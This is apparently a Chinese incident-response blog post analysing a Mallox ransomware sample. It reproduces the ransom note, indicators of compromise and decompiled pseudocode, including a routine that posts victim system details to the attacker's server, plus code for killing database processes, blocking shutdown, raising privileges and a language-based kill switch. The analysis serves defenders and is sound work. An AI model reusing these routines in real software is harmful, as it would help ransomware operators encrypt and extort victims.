【病毒分析】malloxx木马分析

时间: 2024-10-17 16:17:16 浏览量:247

1.背景

1.1来源

  近期,Solar团队收到某通信公司的援助请求,该公司的计算机服务器受到了mallox勒索家族的侵害,所有的文件被加密并且添加了.malloxx后缀,该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。

1.2 入侵路线图

2.恶意文件基础信息

2.1 文件基础信息

文件名admin.exe
大小197120(192.50 KiB)
操作系统Windows(XP)
架构I386
模式32 位
类型GUI
字节序LE
MD5b54d7da0fe6869006ffd3b9b470f0dc4
SHA256df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f

2.2 勒索信

HOW TO BACK FILES.txt
Hello

Your files are encrypted and can not be used
We have downloaded your confidential data and are ready to publish it on our blog
To return your files in work condition you need decryption tool
Follow the instructions to decrypt all your data

Do not try to change or restore files yourself, this will break them
If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB

How to get decryption tool:
1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software
3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
4) Copy your private ID in the input field. Your Private key: 88485EE5E0F8C25F0C018C31
5) You will see payment information and we can make free test decryption here
6)After payment, you will receive a tool for decrypting files, and we will delete the data that was taken from you

Our blog of leaked companies:
wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion

If you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.org
Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. 

  TargetInfo.txt,其中X.X.X.X为电脑使用的公网ip,若电脑在NAT等网络环境下,此ip为网关的ip,下述文本已做脱敏处理

88485EE5E0F8C25F0C018C31|Windows 10 Enterprise x64, CN, X.X.X.X, DESKTOP-IDAQ0I4|0.0|20

2.3 勒索网站

  以下为黑客提供的地址,左方红框中是数据状态,目前显示用户数据暂未公开,右方两个红框处分别代表本次勒索赎金费用为4000美元(约为28,901元)和黑客的BTC、USDT钱包地址。

2.4 网络连接

2.4.1 域名解析

  http://api.ipify.org/:利用此网站获得被感染机器的ip地址

2.4.2 TCP连接

  共2个TCP连接

64.185.227.156:80api.ipify.org网站IP,无恶意行为
91.215.85.142:80http://91.215.85.142:80/QWEwqdsvsf/ap.php 勒索软件服务器IP,关联样本主要涉及Mallox,GarrantDecrypt,Amadey恶意样本家族

3.恶意文件分析

3.1 威胁分析

病毒家族mallox
首次出现时间/捕获分析时间2023/08/28 || 2024/03/15
威胁类型勒索软件,加密病毒
勒索软件地区疑似俄罗斯联邦
加密文件扩展名.malloxx
勒索信文件名HOW TO BACK FILES.txt
有无免费解密器?
联系邮箱mallox.resurrection@onionmail.org
检测名称Avast (Win32:RansomX-gen Ransom), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen Ransom), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected)
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.mallox)。桌面上会显示一条勒索要求消息(HOW TO BACK FILES.txt)。网络犯罪分子要求通过洋葱路由登录到他们提供的数据恢复网站,根据不同的用户情况,黑客的开价也不同
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响大部分文件(不包括exe dll等文件,与重要系统文件)都经过加密,如果不支付赎金无法打开。黑客声称拿到了电脑内的重要数据,若不支付赎金则会在黑客的blog上公开

3.2 加密前后对比

加密后

  由于程序逻辑对于小于10000Byte的文件不加密,所以sierting.txt并未被加密

解密后

加密前

加密后

  可见加密后在文件尾部附加了加密信息,同时对于大文件采用的是部分加密的方式。

4.逆向分析

编译器EP:Microsoft Visual C/C++(2017 v.15.5-6)EXE32
编译器Microsoft Visual C/C++(2019 v.16.10 or 16.11)-
链接程序Microsoft Linker(14.29, Visual Studio 2019 16.10 or 16.11*)GUI32
语言C/C++
工具Microsoft Visual Studio

4.1 释放勒索信

  函数sub_404AAD,此函数向目录写入勒索信息,被调用了多次,常见的调用格式如下:

sub_404AAD(L"C:\\HOW TO RECOVER !!.TXT");
或者
wnsprintfW(v5, 4096, L"%s_%s", lpString2, L"HOW TO BACK FILES.txt");
sub_404AAD(v6);
或者
sub_404AAD((LPCWSTR)Overlapped[1].Internal);

  由于HOW TO RECOVER !!.TXT文件中包含id,所有勒索内容需要动态生成:

  if ( !nNumberOfBytesToWrite )
  {
    EnterCriticalSection(&CriticalSection);
    ID_to_hex(String);
    v2 = 0;
    for ( i = 0; i < 0x56E; ++i )
    {
      v4 = byte_4274C0[i];
      byte_432D88[v2] = v4;
      if ( v4 == 123 && byte_4274C1[i] == 105 && byte_4274C2[i] == 100 && byte_4274C3[i] == 125 )
      {
        v5 = lstrlenA(String);
        memmove(&byte_432D88[v2], String, v5);
        v2 = v5 + v2 - 1;
        i += 3;
      }
      ++v2;
    }
    nNumberOfBytesToWrite = v2;
    LeaveCriticalSection(&CriticalSection);
    v1 = (const WCHAR *)NumberOfBytesWritten;
  }

  ID_to_hex函数位置为40400B,将ID中转为了HEX

char __cdecl ID_to_hex(_BYTE *a1)
{
  unsigned int i; // edi
  unsigned __int8 v3; // cl
  char result; // al

  for ( i = 0; i < 0xC; ++i )
  {
    v3 = pri_id[i];
    *a1 = (v3 >> 4) + ((unsigned __int8)(v3 >> 4) > 9u ? 55 : 48);
    a1 += 2;
    result = (v3 & 0xF) + ((v3 & 0xFu) > 9 ? 55 : 48);
    *(a1 - 1) = result;
  }
  *a1 = 0;
  return result;
}

  勒索信的其他固定内容读取已有字符串。

4.2 网络通信

  在函数sub_405B8A中找到了网络通信的相关代码:

if ( !pcchEscaped )
  {
    pcchEscaped = 512;
    nSize = 16;
    GetComputerNameA(Buffer, &nSize);
    NumberOfBytesWritten = 0;
    *(_DWORD *)pszDest = 1;
    sub_403DA5(v5, pszDest, &NumberOfBytesWritten);
    *(_DWORD *)LCData = 0;
    GetLocaleInfoA(0x400u, 0x5Au, LCData, 4);
    *(_DWORD *)pszDest = 0;
    memset(v26, 0, sizeof(v26));
    v6 = (void *)sub_401245(
                   (int)L"Content-Type: application/x-www-form-urlencoded\r\nHost: api.ipify.org\r\n",
                   0,
                   0,
                   (int)pszDest);
    v7 = v6;
    if ( v6 && *(_DWORD *)pszDest < 0x11u )
    {
      memmove(v26, v6, *(size_t *)pszDest);
    }
    else
    {
      strcpy(v26, "unknown");
      if ( !v6 )
      {
LABEL_13:
        memset(&SystemInfo, 0, sizeof(SystemInfo));
        GetNativeSystemInfo(&SystemInfo);
        v8 = "x64";
        if ( SystemInfo.wProcessorArchitecture != 9 )
          v8 = "x32";
        memset(pszUrl, 0, sizeof(pszUrl));
        v14 = v8;
        v9 = (void *)NumberOfBytesWritten;
        wnsprintfA(pszUrl, 384, "%s %s, %s, %s, %s", (const char *)NumberOfBytesWritten, v14, LCData, v26, Buffer);
        UrlEscapeA(pszUrl, ::pszUrl, &pcchEscaped, 0x2000000u);
        if ( v9 )
          free(v9);
        goto LABEL_17;
      }
    }
    free(v7);
    goto LABEL_13;
  }

  首先请求api.ipify.org获得被感染机器的公网ip:

result = (HANDLE)sub_4010CB(L"http://91.215.85.142/QWEwqdsvsf/ap.php");
  if ( (_BYTE)result )
  {
    wnsprintfW(v23, 260, L"Content-Type: application/x-www-form-urlencoded\r\nHost: %s\r\n", *(_DWORD *)Buffer);
    v27[0] = 0;
    v27[1] = 0;
    v28 = 0;
    if ( qword_430928 / 0x40000000 )
      wnsprintfA((PSTR)v27, 10, "%d", (unsigned int)(qword_430928 / 0x40000000));
    else
      wnsprintfA((PSTR)v27, 10, "0.%d", (unsigned int)(qword_430928 / 0x100000));
    v11 = wnsprintfA(
            v21,
            1024,
            "user=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%d",
            aPanda,
            byte_42FAE8,
            ::pszUrl,
            (const char *)v27,
            dword_430924);

  接着向黑客的服务器发送被感染机的相关信息user=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%d

  黑客可能拿到此信息用于解密工具定价,看人下菜碟,最后写入相关信息到文件TargetInfo.txt

result = CreateFileW(L"TargetInfo.txt", 0x40000000u, 1u, 0, 2u, 0x80u, 0);
    v13 = result;
    if ( result != (HANDLE)-1 )
    {
      *(_DWORD *)v30 = 0;
      TotalNumberOfFreeBytes.LowPart = 0;
      WORD2(TotalNumberOfFreeBytes.QuadPart) = 0;
      if ( qword_430928 / 0x40000000 )
        wnsprintfA(v30, 10, "%d", (unsigned int)(qword_430928 / 0x40000000));
      else
        wnsprintfA(v30, 10, "0.%d", (unsigned int)(qword_430928 / 0x100000));
      *(_DWORD *)LCData = 512;
      UrlUnescapeA(::pszUrl, pszUnescaped, (DWORD *)LCData, 0);
      wnsprintfA(v22, 1024, "%s|%s|%s|%d", byte_42FAE8, pszUnescaped, v30, dword_430924);
      WriteFile(v13, v22, strlen(v22), &NumberOfBytesWritten, 0);
      return (HANDLE)CloseHandle(v13);
    }

4.3 文件加密

  在函数sub_404D83实现了文件夹遍历。

4.3.1 文件后缀黑名单

  如果文件的后缀在文件后缀黑名单中,那么此文件不会被加密,黑名单如下:

dd offset aMsstyles     ; DATA XREF: sub_404D83+17C↑r
.rdata:00427A30                                         ; sub_404D83+194↑r
.rdata:00427A30                                         ; ".msstyles"
.rdata:00427A34                 dd offset aIcl          ; ".icl"
.rdata:00427A38                 dd offset aIdx          ; ".idx"
.rdata:00427A3C                 dd offset aAvast        ; ".avast"
.rdata:00427A40                 dd offset aRtp          ; ".rtp"
.rdata:00427A44                 dd offset aMallox       ; ".mallox"
.rdata:00427A48                 dd offset aSys          ; ".sys"
.rdata:00427A4C                 dd offset aNomedia      ; ".nomedia"
.rdata:00427A50                 dd offset aDll          ; ".dll"
.rdata:00427A54                 dd offset aHta          ; ".hta"
.rdata:00427A58                 dd offset aCur          ; ".cur"
.rdata:00427A5C                 dd offset aLock         ; ".lock"
.rdata:00427A60                 dd offset aCpl          ; ".cpl"
.rdata:00427A64                 dd offset aGlobeimposterA ; ".Globeimposter-Alpha865qqz"
.rdata:00427A68                 dd offset aIcs          ; ".ics"
.rdata:00427A6C                 dd offset aHlp          ; ".hlp"
.rdata:00427A70                 dd offset aCom          ; ".com"
.rdata:00427A74                 dd offset aSpl          ; ".spl"
.rdata:00427A78                 dd offset aMsi          ; ".msi"
.rdata:00427A7C                 dd offset aKey          ; ".key"
.rdata:00427A80                 dd offset aMpa          ; ".mpa"
.rdata:00427A84                 dd offset aRom          ; ".rom"
.rdata:00427A88                 dd offset aDrv          ; ".drv"
.rdata:00427A8C                 dd offset aBat          ; ".bat"
.rdata:00427A90                 dd offset a386          ; ".386"
.rdata:00427A94                 dd offset aAdv          ; ".adv"
.rdata:00427A98                 dd offset aDiangcab     ; ".diangcab"
.rdata:00427A9C                 dd offset aMod          ; ".mod"
.rdata:00427AA0                 dd offset aScr          ; ".scr"
.rdata:00427AA4                 dd offset aTheme        ; ".theme"
.rdata:00427AA8                 dd offset aOcx          ; ".ocx"
.rdata:00427AAC                 dd offset aPrf          ; ".prf"
.rdata:00427AB0                 dd offset aCab          ; ".cab"
.rdata:00427AB4                 dd offset aDiagcfg      ; ".diagcfg"
.rdata:00427AB8                 dd offset aMsu          ; ".msu"
.rdata:00427ABC                 dd offset aCmd          ; ".cmd"
.rdata:00427AC0                 dd offset aIco          ; ".ico"
.rdata:00427AC4                 dd offset aMsc          ; ".msc"
.rdata:00427AC8                 dd offset aAni          ; ".ani"
.rdata:00427ACC                 dd offset aIcns         ; ".icns"
.rdata:00427AD0                 dd offset aDiagpkg      ; ".diagpkg"
.rdata:00427AD4                 dd offset aDeskthemepack ; ".deskthemepack"
.rdata:00427AD8                 dd offset aWpx          ; ".wpx"
.rdata:00427ADC                 dd offset aMsp          ; ".msp"
.rdata:00427AE0                 dd offset aBin          ; ".bin"
.rdata:00427AE4                 dd offset aThemepack    ; ".themepack"
.rdata:00427AE8                 dd offset aShs          ; ".shs"
.rdata:00427AEC                 dd offset aNls          ; ".nls"
.rdata:00427AF0                 dd offset aExe          ; ".exe"
.rdata:00427AF4                 dd offset aLnk          ; ".lnk"
.rdata:00427AF8                 dd offset aPs1          ; ".ps1"
.rdata:00427AFC                 dd offset String        ; ".malloxx"

4.3.2 文件黑名单

  这些文件将不会被加密:

.rdata:0042724C                                         ; "desktop.ini"
.rdata:00427250                 dd offset aNtuserDat    ; "ntuser.dat"
.rdata:00427254                 dd offset aThumbsDb     ; "thumbs.db"
.rdata:00427258                 dd offset aIconcacheDb  ; "iconcache.db"
.rdata:0042725C                 dd offset aNtuserIni    ; "ntuser.ini"
.rdata:00427260                 dd offset aNtldr        ; "ntldr"
.rdata:00427264                 dd offset aBootfontBin  ; "bootfont.bin"
.rdata:00427268                 dd offset aNtuserDatLog ; "ntuser.dat.log"
.rdata:0042726C                 dd offset aBootsectBak  ; "bootsect.bak"
.rdata:00427270                 dd offset aBootIni      ; "boot.ini"
.rdata:00427274                 dd offset aAutorunInf   ; "autorun.inf"
.rdata:00427278                 dd offset aDebuglogTxt  ; "debugLog.txt"
.rdata:0042727C                 dd offset FileName      ; "TargetInfo.txt"

4.3.3 文件夹黑名单

if ( (FindFileData.dwFileAttributes & 0x10) != 0 && !a4 )
      {
        v11 = 0;
        while ( lstrcmpiW(FindFileData.cFileName, (&lpString2)[v11]) )
        {
          if ( ++v11 >= 0x28u )
          {
            sub_404D83(a3, 0);
            break;
          }
        }
LABEL_39:
        v5 = a1;
        continue;
      }

  当文件夹的名字在下列中时,不递归加密此文件夹,若不在黑名单,则递归调用自身sub_404D83递归加密文件夹:

.rdata:00427380 lpString2       dd offset aMsocache     ; DATA XREF: sub_404D83+F6↑r
.rdata:00427380                                         ; "msocache"
.rdata:00427384                 dd offset aWindowsWs    ; "$windows.~ws"
.rdata:00427388                 dd offset aSystemVolumeIn ; "system volume information"
.rdata:0042738C                 dd offset aIntel        ; "intel"
.rdata:00427390                 dd offset aAppdata      ; "appdata"
.rdata:00427394                 dd offset aPerflogs     ; "perflogs"
.rdata:00427398                 dd offset aProgramdata  ; "programdata"
.rdata:0042739C                 dd offset aGoogle       ; "google"
.rdata:004273A0                 dd offset aApplicationDat ; "application data"
.rdata:004273A4                 dd offset aTorBrowser   ; "tor browser"
.rdata:004273A8                 dd offset aBoot         ; "boot"
.rdata:004273AC                 dd offset aWindowsBt    ; "$windows.~bt"
.rdata:004273B0                 dd offset aMozilla      ; "mozilla"
.rdata:004273B4                 dd offset aBoot         ; "boot"
.rdata:004273B8                 dd offset aWindowsOld   ; "windows.old"
.rdata:004273BC                 dd offset aWindowsMicroso ; "Windows Microsoft.NET"
.rdata:004273C0                 dd offset aWindowspowersh ; "WindowsPowerShell"
.rdata:004273C4                 dd offset aWindowsNt    ; "Windows NT"
.rdata:004273C8                 dd offset aWindows      ; "Windows"
.rdata:004273CC                 dd offset aCommonFiles  ; "Common Files"
.rdata:004273D0                 dd offset aMicrosoftSecur ; "Microsoft Security Client"
.rdata:004273D4                 dd offset aInternetExplor ; "Internet Explorer"
.rdata:004273D8                 dd offset aReference    ; "Reference"
.rdata:004273DC                 dd offset aAssemblies   ; "Assemblies"
.rdata:004273E0                 dd offset aWindowsDefende ; "Windows Defender"
.rdata:004273E4                 dd offset aMicrosoftAspNe ; "Microsoft ASP.NET"
.rdata:004273E8                 dd offset aCoreRuntime  ; "Core Runtime"
.rdata:004273EC                 dd offset aPackage      ; "Package"
.rdata:004273F0                 dd offset aStore        ; "Store"
.rdata:004273F4                 dd offset aMicrosoftHelpV ; "Microsoft Help Viewer"
.rdata:004273F8                 dd offset aMicrosoftMpi ; "Microsoft MPI"
.rdata:004273FC                 dd offset aWindowsKits  ; "Windows Kits"
.rdata:00427400                 dd offset aMicrosoftNet ; "Microsoft.NET"
.rdata:00427404                 dd offset aWindowsMail  ; "Windows Mail"
.rdata:00427408                 dd offset aMicrosoftSecur ; "Microsoft Security Client"
.rdata:0042740C                 dd offset aPackageStore ; "Package Store"
.rdata:00427410                 dd offset aMicrosoftAnaly ; "Microsoft Analysis Services"
.rdata:00427414                 dd offset aWindowsPortabl ; "Windows Portable Devices"
.rdata:00427418                 dd offset aWindowsPhotoVi ; "Windows Photo Viewer"
.rdata:0042741C                 dd offset aWindowsSidebar ; "Windows Sidebar"

4.3.4 特殊文件后缀

  对于此类文件后缀的文件,会额外执行代码:

v17 = malloc(0x20u);
if ( v17 )
{
  memset(v17, 0, 0x20u);
  *((_WORD *)v17 + 12) = v22;
  v18 = lstrlenW(v8);
  v19 = (WCHAR *)malloc((unsigned __int64)(unsigned int)(v18 + 1) >> 31 != 0 ? -1 : 2 * (v18 + 1));
  *((_DWORD *)v17 + 5) = v19;
  if ( v19 )
    lstrcpyW(v19, v8);
  v21 = hObject;
  *((_DWORD *)v17 + 7) = 1;
  if ( PostQueuedCompletionStatus(v21, 0, 0, (LPOVERLAPPED)v17) )
  {
    _InterlockedIncrement(&dword_42F9AC);
    _InterlockedIncrement(&dword_42FB04);
  }
  else
  {
    if ( *((_DWORD *)v17 + 5) )
      free(*((void **)v17 + 5));
    free(v17);
  }
}

4.4 文件加密核心

  需要加密的文件使用PostQueuedCompletionStatus加入到加密队列中(调用PostQueuedCompletionStatus的地方很多,上诉分析的函数sub_404D83只是调用者的一员),在函数704BA8中调用GetQueuedCompletionStatus取出需要加密文件后调用函数704279进行加密

while ( 1 )
    {
      Overlapped = 0;
      GetQueuedCompletionStatus(hObject, &NumberOfBytesTransferred, &CompletionKey, &Overlapped, 0xFFFFFFFF);
      v4 = (void **)Overlapped;
      if ( !Overlapped )
        break;
      if ( CompletionKey )
      {
        if ( CompletionKey != 1 )
          goto LABEL_12;
        sub_704AAD((LPCWSTR)Overlapped[1].Internal);
      }
      else
      {
        enctypto_file(v9, v3, v3, Overlapped[1].Offset);
        _InterlockedIncrement(&encode_file_num);
      }
      _InterlockedDecrement(&index1);
LABEL_12:
      if ( v4[5] )
        free(v4[5]);
      free(v4);
    }

  其中encode_file_num为当前已经加密的文件的个数,index1为当前等待加密的文件的个数。

  函数enctypto_file即为加密的最终函数,接受的参数为单个文件。

  在enctypto_file函数中会判断文件的大小,若文件大小小于 10000 字节,或者获取文件大小失败则不加密此文件。

if ( !GetFileSizeEx(FileW, &FileSize)
    || (v18.HighPart = FileSize.HighPart, FileSize.HighPart < 0)
    || (v18.LowPart = FileSize.LowPart, FileSize.QuadPart < 10000) )
  {
LABEL_66:
    CloseHandle(FileW);
    return;
  }

  调用AES对文件进行加密,最后修改文件名。

4.5 关闭进程

  在函数sub_406000实现了中止指定进程的方法,大致逻辑如下:

void kill_processes_with_restart_manager()
{
  HANDLE hSnapshot;
  PROCESSENTRY32W pe;
  unsigned int i;
  hSnapshot = CreateToolhelp32Snapshot(TH32_SNAPSHOT_PROCESS, 0);
  if (hSnapshot == INVALID_HANDLE_VALUE)
    return;
  pe.dwSize = sizeof(PROCESSENTRY32W);
  while (Process32NextW(hSnapshot, &pe))
  {
    for (i = 0; i < sizeof(restart_manager_processes)/sizeof(wchar_t *); i++)
    {
      if (lstrcmpW(pe.szExeFile, restart_manager_processes[i]) == 0)
      {
        HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
        if (process != INVALID_HANDLE_VALUE)
        {
          TerminateProcess(process, 0);
          CloseHandle(process);
        }
      }
    }
  }
  CloseHandle(hSnapshot);
}

  关闭的进程如下:

.rdata:00427420 off_427420      dd offset aSqlservExe   ; DATA XREF: sub_406000+4F↑o
.rdata:00427420                                         ; "sqlserv.exe"
.rdata:00427424                 dd offset aOracleExe    ; "oracle.exe"
.rdata:00427428                 dd offset aNtdbsmgrExe  ; "ntdbsmgr.exe"
.rdata:0042742C                 dd offset aSqlservrExe  ; "sqlservr.exe"
.rdata:00427430                 dd offset aSqlwriterExe ; "sqlwriter.exe"
.rdata:00427434                 dd offset aMsdtssrvrExe ; "MsDtsSrvr.exe"
.rdata:00427438                 dd offset aMsmdsrvExe   ; "msmdsrv.exe"
.rdata:0042743C                 dd offset aReportingserve ; "ReportingServecesService.exe"
.rdata:00427440                 dd offset aFdhostExe    ; "fdhost.exe"
.rdata:00427444                 dd offset aFdlauncherExe ; "fdlauncher.exe"
.rdata:00427448                 dd offset aMysqlExe     ; "mysql.exe"

4.6 通过语言标识选择性感染

UserDefaultLangID = GetUserDefaultLangID();
  if ( UserDefaultLangID != 0x419
    && UserDefaultLangID != 0x43F
    && UserDefaultLangID != 0x423
    && UserDefaultLangID != 0x422
    && UserDefaultLangID != 0x444 )

  GetUserDefaultLangID() 是 Windows API 中的一个函数,用于获取当前用户的默认语言标识符,对照关系如下,若默认语言为下列语言,则不进行恶意行为,结合黑客ip定位在俄罗斯,可以基本确定黑客集团位于俄罗斯

俄语(俄罗斯)0x419
哈萨克语(哈萨克斯坦)0x43F
白俄罗斯语0x423
乌克兰语(乌克兰)0x422
鞑靼语(俄罗斯)0x444

4.7 防止重复感染

  利用创建事件,确保程序只被运行一次

EventA = CreateEventA(0, 1, 0, "89A72EF01");
v6 = EventA;
if ( EventA )
{
    do...

4.8 设置系统电源管理

  将电源方案设置为高性能模式:

LibraryA = LoadLibraryA("PowrProf.dll");
if ( LibraryA )
{
  PowerSetActiveScheme = (DWORD (__stdcall *)(HKEY, const GUID *))GetProcAddress(
                                                                    LibraryA,
                                                                    "PowerSetActiveScheme");
  if ( PowerSetActiveScheme )
    PowerSetActiveScheme(0, &stru_722350);
}

4.9 退出提示

  阻止系统关机或重新启动,并显示一个警告消息.

v16 = GetModuleHandleA("user32.dll");
ShutdownBlockReasonCreate = (BOOL (__stdcall *)(HWND, LPCWSTR))GetProcAddress(v16, "ShutdownBlockReasonCreate");
if ( ShutdownBlockReasonCreate )
{
  WndClass.lpfnWndProc = (WNDPROC)sub_7067CD;
  *(_QWORD *)&WndClass.cbClsExtra = 0i64;
  WndClass.style = 0;
  memset(&WndClass.hIcon, 0, 16);
  WndClass.hInstance = GetModuleHandleW(0);
  WndClass.lpszClassName = L"window";
  v19 = RegisterClassW(&WndClass);
  Window = CreateWindowExW(0, (LPCWSTR)v19, 0, 0, 0, 0, 0x80000000, 0x80000000, 0, 0, 0, 0);
  ShutdownBlockReasonCreate(
    Window,
    L"Do NOT shutdown OR reboot your PC: this might damage your files permanently !");
}

4.10 获得权限

  为进程获得权限SeTakeOwnershipPrivilege&SeDebugPrivilege

sub_7040FC(L"SeTakeOwnershipPrivilege");
sub_7040FC(L"SeDebugPrivilege");

bool __thiscall sub_7040FC(LPCWSTR lpName)
{
  bool v1; // bl
  HANDLE CurrentThread; // eax
  HANDLE CurrentProcess; // eax
  HANDLE TokenHandle; // [esp+10h] [ebp-18h] BYREF
  struct _TOKEN_PRIVILEGES NewState; // [esp+14h] [ebp-14h] BYREF

  v1 = 0;
  CurrentThread = GetCurrentThread();
  if ( !OpenThreadToken(CurrentThread, 0x20u, 0, &TokenHandle) )
  {
    CurrentProcess = GetCurrentProcess();
    if ( !OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle) )
      return 0;
  }
  NewState.Privileges[0].Attributes = 2;
  NewState.PrivilegeCount = 1;
  if ( LookupPrivilegeValueW(0, lpName, &NewState.Privileges[0].Luid) )
  {
    if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0) )
      v1 = GetLastError() == 0;
  }
  CloseHandle(TokenHandle);
  return v1;
}

4.11 修改注册表

  功能包括隐藏关机按钮等:

sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown", L"value", v17, (BYTE *)&v33);
sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart", L"value", v21, (BYTE *)&v33);
sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut", L"value", v22, (BYTE *)&v33);
v33 = 0;
sub_703EAF(
  L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
  L"shutdownwithoutlogon",
  v23,
  (BYTE *)&v33);
sub_703EAF(
  L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services",
  L"MaxConnectionTime",
  v24,
  (BYTE *)&v33);
sub_703EAF(
  L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services",
  L"MaxDisconnectionTime",
  v25,
  (BYTE *)&v33);
sub_703EAF(L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", L"MaxIdleTime", v26, (BYTE *)&v33);
sub_7061BF();                           // do something
sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown", L"value", v27, (BYTE *)&v33);
sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart", L"value", v28, (BYTE *)&v33);
sub_703EAF(L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut", L"value", v29, (BYTE *)&v33);
v33 = 1;
sub_703EAF(
  L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
  L"shutdownwithoutlogon",
  v30,
  (BYTE *)&v33);
BOOL __usercall sub_703EAF@<eax>(const WCHAR *a1@<edx>, const WCHAR *lpValueName, int a3, BYTE *lpData)
{
  LSTATUS v4; // eax
  LSTATUS v5; // esi
  HKEY phkResult; // [esp+Ch] [ebp-8h] BYREF

  if ( !a1 )
    return 0;
  if ( !lpValueName )
    return 0;
  if ( !lpData )
    return 0;
  phkResult = 0;
  v4 = RegOpenKeyExW(HKEY_LOCAL_MACHINE, a1, 0, 2u, &phkResult);
  v5 = v4;
  if ( v4 == 5 )
    return 0;
  if ( !v4 )
  {
    v5 = RegSetValueExW(phkResult, lpValueName, 0, 4u, lpData, 4u);
    RegCloseKey(phkResult);
  }
  return v5 == 0;
}

5.病毒分析概览

  病毒启动后,首先利用系统默认语言,若系统语言为俄语系列,则不进行恶意行为。通过创建windows事件,保证了木马不会多次启动。调整了电脑的电源设置为高性能模式,为之后的加密做准备。调用系统调用,阻止系统关机,同时修改注册表,隐藏开始关机按钮。

6.安全建议

1. 风险消减措施

  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

7.团队介绍

